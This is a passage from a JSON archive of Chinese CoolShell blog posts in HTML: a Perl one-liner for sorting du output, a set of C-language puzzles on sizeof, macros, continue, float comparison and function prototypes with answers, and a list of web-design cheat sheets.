src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1086.html\">22个开源的PHP框架</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/290.html\"><img alt=\"雷人的程序注释\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/290.html\">雷人的程序注释</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/808.html\">22条经典的编程引言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-15 Linux磁盘使用命令du的改进.html",
    "content": "<html><body><p>我们知道，在Linux下，如果你想知道当前目录下，每个文件或子目录的尺寸，你可以使用du命令来完成这一动作。如：</p>\n<pre class=\"EnlighterJSRAW\">\n$  du -sh *\n</pre>\n<p>这个命令可以以K，M，G的方式显示每个文件和子目录的大小。我们把这种方式叫做，human-readable，也就是可以让人读的方式，如下所示：</p>\n<pre>8.4G Desktop\n2.6G Documents\n12K keys\n12M Pictures\n536K scripts</pre>\n<p><span id=\"more-822\"></span><br/>\n但是，很可惜的是，我们的du并没有提供相关的排序功能，所以，如果在human-readable下，也就是-h参数下，我们很难使用sort命令来排序。因为那变成了字符串排序，小数点，数字的位数，还有单位K，M，G都会让排序变得混乱。那么，我们如何才能即有human-readble这种功能，还能有排序呢。我们得借用一些脚本语言来处理了。</p>\n<p>下面是使用了Perl来达到这一功能：</p>\n<pre class=\"EnlighterJSRAW\">\ndu -sk * | sort -n |       #以 K 字节的方式排序\nperl -ne '                 #使用Perl来处理 K M 和 G 单位\n  ($s,$f)=split(m{\\t});    #把 尺寸/文件名 分开\n  for (qw(K M G)) {        #以尺寸单位循环\n     if($s&lt;1024) {         #如果 尺寸&lt;1024 那么就输出\n       printf(\"%.1f\",$s);  #显示文件尺寸\n       print \"$_\\t$f\";     #显示文件名\n       last                #换行\n     };\n     $s=$s/1024            #除1024然后进入下一个尺寸单位\n  }\n'\n</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/822.html\">Linux磁盘使用命令du的改进</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-17 语言的歧义.html",
    "content": "<html><body><p>语言是人与人相互沟通的途径，而计算机语言则是人和计算机沟通的途径。就算是任何再完美的自然语言都会有歧义，但是又是什么让人和计算计算机间产生了歧义呢？<br/>\n下面这篇文章来自Gowri Kumar的<a href=\"http://www.gowrikumar.com/c/index.html\">Puzzle C</a>一文。我做了一些整理，挑选了其中的一些问题，并在之后配上相应的答案(这些答案是我加的，如果需要原版的答案可以直接和本文作者Gowri Kumar联系，作者的联系方式可以从<a href=\"http://www.gowrikumar.com/contact.html\">这里</a>得到)。</p>\n<h3>puzzle 1</h3>\n<p>此段程序的作者希望输出数组中的所有元素，但是他却没有得到他想要的结果，是什么让程序员和计算机产生歧义？</p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\n#define TOTAL_ELEMENTS (sizeof(array) / sizeof(array[0]))\nint array[] = {23,34,12,17,204,99,16};\nint main()\n{\n    int d;\n\n    for(d=-1;d &lt;= (TOTAL_ELEMENTS-2);d++)\n        printf(\"%d\\n\",array[d+1]);\n\n    return 0;\n}\n</pre>\n<p><span id=\"more-830\"></span></p>\n<p><strong>解答：</strong><br/>\n运行上面的程序，结果是什么都没有输出，导致这个结果的原因是sizeof的返回值是一个unsinged int，为此在比较int d 和TOTAL_ELEMENTS两个值都被转换成了unsigned int来进行比较，这样就导致-1被转换成一个非常大的值，以至于for循环不满足条件。因此，如果程序员不能理解sizeof操作符返回的是一个unsigned int的话，就会产生类似如上的人机歧义。</p>\n<h3>puzzle 2</h3>\n<p>看上去非常完美的程序，是什么导致了编程程序不通过？</p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\n\nvoid OS_Solaris_print()\n{\n    printf(\"Solaris - Sun Microsystems\\n\");\n}\n\nvoid OS_Windows_print()\n{\n    printf(\"Windows - Microsoft\\n\");\n}\n\nvoid OS_HP-UX_print()\n{\n    printf(\"HP-UX - Hewlett Packard\\n\");\n}\n\nint main()\n{\n    int num;\n    printf(\"Enter the number (1-3):\\n\");\n    scanf(\"%d\",&amp;num);\n\n    switch(num)\n    {\n        case 1:\n            OS_Solaris_print();\n            break;\n        case 2:\n            OS_Windows_print();\n            break;\n        case 3:\n            OS_HP-UX_print();\n            break;\n        default:\n            printf(\"Hmm! only 1-3 :-)\\n\");\n        break;\n    }\n    return 0;\n}\n</pre>\n<p><strong>解答：</strong><br/>\n程序员要以计算机的语言进行思考，不上上面那段程序导致的结果不止是歧义这么简单，而直接的结果是，导致计算机”听不懂”你在说什么。导致计算机听不懂的原因是HP-UX中的’-‘是减号？还是其他什么？</p>\n<h3>puzzle 3</h3>\n<p>下面这段程序会输出什么，为什么？</p>\n<pre class=\"EnlighterJSRAW\">\nenum {false,true};\n\nint main()\n{\n    int i=1;\n    do\n    {\n        printf(\"%d\\n\",i);\n        i++;\n\n        if(i &lt; 15)\n            continue;\n    }while(false);\n\n    return 0;\n}\n</pre>\n<p><strong>解答：</strong><br/>\n1到14？不对，结果是1，因为continue的含义是不执行循环体之后语义，而直接到循环点。明显while(false)不属于循环体。导致这段程序的歧义就是：程序员没有完全理解计算机语言中continue的含义。</p>\n<h3>puzzle 4</h3>\n<p>下面这段程序的输出结果是：</p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\n#define f(a,b) a##b\n#define g(a)   #a\n#define h(a) g(a)\n\nint main()\n{\n        printf(\"%s\\n\", h(f(1,2)));\n        printf(\"%s\\n\", g(f(1,2)));\n        return 0;\n}\n</pre>\n<p>当然，你首先要了解##和#的用法，如果不懂的话，本题你可以直接跳过。<br/>\n<strong>解答：</strong><br/>\n看到这段程序你可能会认为，这两个printf输出的同一个结果，可是答案却非如此，本题的输出是12和f(1,2)，为什么会这样呢？因为这是宏，宏的解开不象函数执行，由里带外。</p>\n<h3>puzzle 5</h3>\n<p>下面这段程序的输出是什么</p>\n<blockquote><p>#include &lt;stdio.h&gt;<br/>\nint main()<br/>\n{<br/>\nint a=10;<br/>\nswitch(a)<br/>\n{<br/>\ncase ‘1’:<br/>\nprintf(“ONE\\n”);<br/>\nbreak;<br/>\ncase ‘2’:<br/>\nprintf(“TWO\\n”);<br/>\nbreak;<br/>\ndefau1t:<br/>\nprintf(“NONE\\n”);<br/>\n｝<br/>\nreturn 0;<br/>\n}</p></blockquote>\n<p><strong>解答：</strong><br/>\n本题我故意将语法敏感插件去掉，为了就是能得到更好的效果，这道题又是什么让歧义再次发生，如果不仔细你可能永远都找不到答案，如果真到的到了那个时候，你是否会因为对default语义的怀疑，而不敢再使用default？本题的歧义点就是default，看好了是defau1t而不是default，不是关键字！为什么计算能”听懂”这样的defau1t，算然它听懂了，但它的理解却是标号”defau1t”</p>\n<h3>puzzle 6</h3>\n<p>下面这段程序的输出什么？</p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\n\nint main()\n{\n    float f=0.0f;\n    int i;\n\n    for(i=0;i&lt;10;i++)\n        f = f + 0.1f;\n\n    if(f == 1.0f)\n        printf(\"f is 1.0 \\n\");\n    else\n        printf(\"f is NOT 1.0 \\n\");\n\n    return 0;\n}\n</pre>\n<p><strong>解答：</strong><br/>\n你是否似曾相识？不错这个问题在酷壳之前的博文《<a href=\"https://coolshell.cn/articles/688.html\">你能做对下面这些JavaScript的题吗？</a>》中曾今提到过，不要让两个浮点数相比较。所以本题的答案是”f is NOT 1.0″，如果你真想比较两个浮点数时，你应该按一定精度来比较，比如你一定要在本题中做比较那么你应该这么做if( (f – 1.0f)&lt;0.1 )</p>\n<h3>puzzle 7</h3>\n<p>下面两个函数是否具有相同的原型？</p>\n<pre class=\"EnlighterJSRAW\">\nint foobar(void);\nint foobar();\n</pre>\n<p>下面这两段程序将会帮你找到上题的答案<br/>\n程序1</p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nvoid foobar1(void)\n{\n    printf(\"In foobar1\\n\");\n}\n\nvoid foobar2()\n{\n    printf(\"In foobar2\\n\");\n}\n\nint main()\n{\n    char ch = 'a';\n\n    foobar1();\n    foobar2(33, ch);\n\n     return 0;\n}\n</pre>\n<p>程序2</p>\n<pre class=\"EnlighterJSRAW\">\n#include \"stdio.h\"\nvoid foobar1(void)\n{\n    printf(\"In foobar1\\n\");\n}\n\nvoid foobar2()\n{\n    printf(\"In foobar2\\n\");\n}\n\nint main()\n{\n    char ch = 'a';\n\n    foobar1(33,ch);\n    foobar2();\n\n    return 0;\n}\n</pre>\n<p><strong>解答</strong><br/>\n程序片段一，没有问题，程序片段二编译报错，这两个程序告诉我们，foobar1(void)和foobar2()是有不同原型的的。我们可以在《ISO/IEC 9899》的C语言规范找到下面两段关于函数声明的描述</p>\n<blockquote><p>10.The special case of an unnamed parameter of type void as the only item in the list specifies that the function has no parameters</p></blockquote>\n<blockquote><p>14.An identifier list declares only the identifiers of the parameters of the function. An empty list in a function declarator that is part of a definition of that function specifies that the function has no parameters. The empty list in a function declarator that is not part of a definition of that function specifies that no information about the number or types of the parameters is supplied.124)</p></blockquote>\n<p>上面两段话的意思就是：foobar1(void)是没有参数，而foobar1()等于forbar1(…)等于参数类型未知。</p>\n<p><strong>总结</strong><br/>\n看到这些C语言的题目，不禁让我想起了巴别塔，计算机语言作为如此严谨的语言都有可能带来如此多的歧义，更何况自然语言，更何况相互不通的自然语言。要杜绝歧义，我们就必须清晰的了解计算机语言每一个指令的语义。就如同人类，人类要和平就要相互了解各自的文化。愿世界上人们清晰了解别人的语言的语义，愿世界不再因为文化的不同而战争，原世界和平。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/830.html\">语言的歧义</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-19 Web设计的速查卡.html",
    "content": "<html><body><p>速查卡不仅仅可能帮助我们记住一些重要的东西，而且可以放在手边，当我们需要的时候，可以很快地查找。</p>\n<p>在本篇文章中，你可以看到28个相当不错的关于Web设计的速查卡，它们分别是关于：<strong>Photoshop, Dreamweaver, 颜色, 排版,</strong>和<strong> 其它Web设计相关的。</strong>他们都是一页纸，可以方便你很快地打印出来。</p>\n<h3>Photoshop</h3>\n<h4><a href=\"http://morris-photographics.com/photoshop/shortcuts/#pscs3\" title=\"Trevor Morris Photographics - Adobe Photoshop Keyboard Shortcuts\">Photoshop CS3 快捷键速查卡</a></h4>\n<p><img alt=\"Photoshop CS3 Keyboard Shortcuts Cheat Sheet - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-01_cs3_keyboard_shortcuts.png\" width=\"550\"/><span class=\"figure-caption\">Downloads: <a href=\"http://morris-photographics.com/photoshop/shortcuts/downloads/PSCS3_Keyboard_Shortcuts_PC.pdf\" title=\"PDF Download - For Windows\">PDF (Windows)</a>, <a href=\"http://morris-photographics.com/photoshop/shortcuts/downloads/PSCS3_Keyboard_Shortcuts_Mac.pdf\" title=\"PDF Download - for Mac\">PDF (Mac)</a></span></p>\n<p><span class=\"figure-caption\"><span id=\"more-870\"></span></span></p>\n<p> </p>\n<h4><a href=\"http://livedocs.adobe.com/en_US/Photoshop/10.0/help.html?content=WS7D245964-27B4-403e-82D5-DDD1CB19A82B.html\" title=\"Adobe - Keys for using the Layers palette\">关于调色板的一些热键</a> (HTML)</h4>\n<p><img alt=\"Keys for using the Layers palette - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-02_keys_for_using_layers.png\" width=\"550\"/></p>\n<h4><a href=\"http://simplephotoshop.com/photoshop_tools/index.htm\">Photoshop 工具栏速查</a> (HTML)</h4>\n<p><img alt=\"Photoshop Toolbox Reference - screen shot\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-03_photoshop_toolbox_reference.png\" width=\"550\"/></p>\n<h4><a href=\"http://www.creativetechs.com/iq-staging/photoshop_lasso_tool_cheatshee.html\" title=\"CreativeIQ - Staging: Photoshop Lasso Tool Cheatsheet.\">Photoshop 套索工具速查</a></h4>\n<p><img alt=\"Photoshop Lasso Tool Cheatsheet - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-04_lasso_tool_cheatsheet.png\" width=\"550\"/><span class=\"figure-caption\">Download: <a href=\"http://creativetechs.com/tips/tip_resources/cheatsheets/Photoshop-Lasso-Cheatsheet.pdf\" title=\"PDF Download - Photoshop Lasso Tool Cheatsheet\">PDF</a></span></p>\n<h4><a href=\"http://www.creativetechs.com/iq/photoshop_brush_tool_cheatsheet.html\" title=\"CreativeTechs - Photoshop Brush Tool Cheatsheet\">Photoshop 笔刷工作速查</a></h4>\n<p><img alt=\"Photoshop Brush Tool Cheatsheet - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-05_brush_tool_cheatsheet.png\" width=\"550\"/><span class=\"figure-caption\">Download: <a href=\"http://creativetechs.com/tips/tip_resources/cheatsheets/Photoshop-Brush-Cheatsheet.pdf\" title=\"PDF Download - Photoshop Brush Tool Cheatsheet\">PDF</a></span></p>\n<h3> </h3>\n<h3>颜色</h3>\n<h4><a href=\"http://www.addedbytes.com/cheat-sheets/colour-chart/\" title=\"Added Bytes - RGB Hex Colour Chart\">RGB 十六进制表</a></h4>\n<p><img alt=\"RGB Hex Colour Chart - Screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-06_rgb_color_codes.png\" width=\"550\"/><span class=\"figure-caption\">Downloads: <a href=\"http://www.addedbytes.com/download/rgb-hex-cheat-sheet-v1/pdf/\" title=\"PDF Download\">PDF</a>, <a href=\"http://www.addedbytes.com/download/rgb-hex-cheat-sheet-v1/png/\" title=\"PNG Download\">PNG</a></span></p>\n<h4><a href=\"http://www.veign.com/downloads/guides/qrg0006.pdf\">颜色速查</a> (PDF)</h4>\n<p><img alt=\"Color Reference Guide - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-07_veign_color_reference_guide.png\" width=\"550\"/></p>\n<h4><a href=\"http://www.visibone.com/color/hexagon3x.html\" title=\"Visibone - Web Designer's Color Reference Hexagon Mouse Pad\">Web设计颜色</a></h4>\n<p><img alt=\"Web Designer Color Reference Hexagon Mouse Pad - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-08_hexagon_moust.png\" width=\"550\"/><span class=\"figure-caption\">Download: <a href=\"http://www.visibone.com/color/hexagon_800.gif\" title=\"GIF Download - Hexagon_800.gif\">GIF</a></span></p>\n<h4><a href=\"http://www.pagetutor.com/common/bgcolors216.html\" title=\"Page Tutor - 216 color chart\">Web 安全颜色表</a> (HTML)</h4>\n<p><img alt=\"Web Safe Color Chart - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-09_web_safe_color_chart.png\" width=\"550\"/></p>\n<h4><a href=\"http://www.funky-chickens.com/hex.html\">十六进制颜色表</a> (HTML)</h4>\n<p><img alt=\"Hexidecimal Color Chart - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-10_funky_chicken.png\" width=\"550\"/></p>\n<h4><a href=\"http://www.cookwood.com/html4_4e/examples/appendices/colorcharthex.html\"> 浏览器颜色表</a> (HTML)</h4>\n<p><img alt=\"The Browser Safe Colors - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-11_the_browser_safe_colors.png\" width=\"550\"/></p>\n<h3> </h3>\n<h3>排版</h3>\n<h4><a href=\"http://www.visibone.com/font/\" title=\"Visibone - VisiBone Font Card\">VisiBone Font Card</a></h4>\n<p><img alt=\"VisiBone Font Card - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-12_font_chart.png\" width=\"550\"/><span class=\"figure-caption\">Download: <a href=\"http://www.visibone.com/font/fcht_874.gif\">GIF</a></span></p>\n<h4><a href=\"http://www.ampsoft.net/webdesign-l/WindowsMacFonts.html\">常用字体表 </a> (HTML)</h4>\n<p><img alt=\"Common fonts to all versions of Windows &amp; Mac equivalents - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-13_windows_font.png\" width=\"550\"/></p>\n<h4><a href=\"http://www.as8.it/handouts/mixing-typefaces_U&amp;lc1992.pdf\" title=\"PDF Download - Mixing Typefaces\">混合字体</a> (PDF)</h4>\n<p><img alt=\"Free Fonts Cheat Sheet - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-14_mixing_typefaces.png\" width=\"550\"/></p>\n<h3>单元/尺寸</h3>\n<h4><a href=\"http://www.reeddesign.co.uk/test/points-pixels.html\" title=\"Reed Design - Approximate Conversion from Points to Pixels\">Points 和Pixels近似转换表</a> (HTML)</h4>\n<p><img alt=\"Approximate Conversion from Points to Pixels - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-15_approximate_conversion.png\" width=\"550\"/></p>\n<h4><a href=\"http://www.design215.com/toolbox/megapixels.php\" title=\"Design215 - megapixels comparison and maximum print size charts\">Megapixels 表</a></h4>\n<p><img alt=\"Megapixels Chart - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-16_megapixels_chart.png\" width=\"550\"/><span class=\"figure-caption\">Download: <a href=\"http://www.design215.com/toolbox/images/megapixels.gif\" title=\"GIF Download - Megapixels Chart\">GIF</a></span></p>\n<h3>CSS/CSS 框架</h3>\n<h4><a href=\"http://www.christianmontoya.com/2007/11/12/blueprint-css-cheat-sheet/\" title=\"The Montoya Herald - Blueprint CSS Cheat Sheet\">Blueprint CSS 速查卡</a></h4>\n<p><img alt=\"Blueprint CSS Cheat Sheet - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-17_blueprint_css.png\" width=\"550\"/><span class=\"figure-caption\">Download: <a href=\"http://www.digitart.net/blueprintcss/bluebrintcss.pdf\" title=\"PDF Download - Blueprint CSS Cheat Sheet\">PDF</a></span></p>\n<h4><a href=\"http://yuiblog.com/assets/pdf/cheatsheets/css.pdf\" title=\"YUI Library - CSS Reset, Base, Fonts, and Grids\">YUI Library: CSS Reset, Base, Fonts, and Grids</a> (PDF)</h4>\n<p><img alt=\"YUI Library: CSS Reset, Base, Fonts, and Grids - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-18_yui_library.png\" width=\"550\"/></p>\n<h4><a href=\"http://www.eddiewelker.com/wp-content/uploads/2007/09/csscheatsheet.pdf\">CSS 速查卡</a> (PDF)</h4>\n<p><img alt=\"CSS Shorthand Cheat Sheet - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-19_css_shorthand_cheat_sheet.png\" width=\"550\"/></p>\n<h4><a href=\"http://www.apple.com/downloads/dashboard/developer/csscheatsheet.html\" title=\"Apple Dashboard Widgets - CSS Cheat Sheet\">Apple’s CSS 速查卡</a> (Mac Dashboard Widget)</h4>\n<p><img alt=\"Apple's CSS Cheat Sheet Widget - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-20_apple_css_cheat_sheet.jpg\" width=\"550\"/></p>\n<h3>HTML/XHTML</h3>\n<h4><a href=\"http://home.uchicago.edu/~gan/file/html.pdf\">HTML &amp; XHTML 标识速查</a> (PDF)</h4>\n<p><img alt=\"HTML &amp; XHTML Tag Quick Reference - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-21_html_xhtml_quick_ref.png\" width=\"550\"/></p>\n<h4><a href=\"http://www.html.su/entities.html\">HTML/XHTML 特殊字符表</a></h4>\n<p><img alt=\"HTML/XHTML Character Entities - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-22_xhtml_character_entitites.png\" width=\"550\"/></p>\n<h4><a href=\"http://www.digitalmediaminute.com/reference/entity/index.php\">XHTML 特殊字符</a> (HTML)</h4>\n<p><img alt=\"XHTML Character Entity Reference - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-23_html_xhtml_character.png\" width=\"550\"/></p>\n<h3>Dreamweaver</h3>\n<h4><a href=\"http://www.uwsp.edu/it/ApplicationSupport/appSuppDocsImages/referenceGuides/dreamweaver-quick-reference-cs3.pdf\">Dreamweaver 快速索引</a> (PDF)</h4>\n<p><img alt=\"Dreamweaver Quick Reference Guide - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-24_dreamweaver_quick_reference.png\" width=\"550\"/></p>\n<h4><a href=\"http://daviddiskin.com/documents/Dreamweaver%20CS3%20for%20Mac.pdf\">Dreamweaver CS3 for Mac Quick Reference Card</a> (PDF)</h4>\n<p><img alt=\"Dreamweaver CS3 for Mac Quick Reference Card - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-25_dreamweaver_cs3_mac.png\" width=\"550\"/></p>\n<h3>Illustrator</h3>\n<h4><a href=\"http://www.nobledesktop.com/shortcuts-illustratorcs2-mac.html\">Adobe Illustrator CS2 热键– MAC</a></h4>\n<p><img alt=\"Adobe Illustrator CS2 Keyboard Shortcuts – MAC - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-26_illustrator.png\" width=\"550\"/><span class=\"figure-caption\">Download: <a href=\"http://www.nobledesktop.com/download/shortcut_guides/illustrator_cs2_shortcuts_mac.pdf\">PDF</a></span></p>\n<h3>Browsers</h3>\n<h4><a href=\"http://centricle.com/ref/css/filters/?highlight_columns=true\">浏览器兼容性表</a> (HTML)</h4>\n<p><img alt=\"Will the browser apply the rule(s)? - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-27_browser_rules.png\" width=\"550\"/></p>\n<h4><a href=\"http://www.quirksmode.org/dom/compatibility.html#t00\">W3C DOM 兼容性表</a> (HTML)</h4>\n<p><img alt=\"W3C DOM Compatibility Tables - screen shot.\" height=\"250\" src=\"http://images.sixrevisions.com/2008/09/07-28_w3c_dom_compatibility.png\" width=\"550\"/></p>\n<p>文章：<a href=\"http://sixrevisions.com/resources/cheat_sheets_for_web_designers/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" 